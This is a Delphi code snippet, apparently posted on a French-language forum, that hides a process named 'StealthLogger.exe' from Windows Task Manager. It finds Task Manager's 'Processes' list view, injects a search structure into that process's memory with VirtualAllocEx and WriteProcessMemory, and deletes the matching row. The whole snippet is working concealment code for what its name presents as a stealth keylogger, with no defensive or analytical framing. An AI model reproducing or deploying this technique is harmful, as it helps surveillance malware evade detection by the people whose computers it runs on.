1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| function EnumChildProcedure(pHandle: hWnd; Param: LPARAM): Boolean; stdcall;
var
Name, ClassName : Array[0..256] Of Char;
Find : LV_FINDINFO;
Index, Info: Integer;
Address : Pointer;
PID, Process, Written : Cardinal;
begin
FillChar(Name,256,0);
GetWindowText(pHandle,Name,256);
FillChar(ClassName,256,0);
GetClassName(pHandle,ClassName,256);
If (ClassName = 'SysListView32') And (Name = 'Processes') Then
begin
FillChar(Find,SizeOf(Find),0);
Find.flags := LVFI_STRING;
Find.psz := 'StealthLogger.exe';
GetWindowThreadProcessID(pHandle, PID);
Process := OpenProcess(PROCESS_ALL_ACCESS,False, PID);
If Process > 0 Then
begin
Address := VirtualAllocEx(Process,nil,SizeOf(Find),MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(Process,Address,@Find,SizeOf(Find),Written);
Index := SendMessage(pHandle,LVM_FINDITEM,-1,Integer(Address));
If Index <> -1 Then
begin
SendMessage(pHandle,LVM_DELETEITEM,Index,0);
end;
Exit;
end;
end;
Enumchildwindows(pHandle, @EnumChildProcedure, 0);
end; |
Partager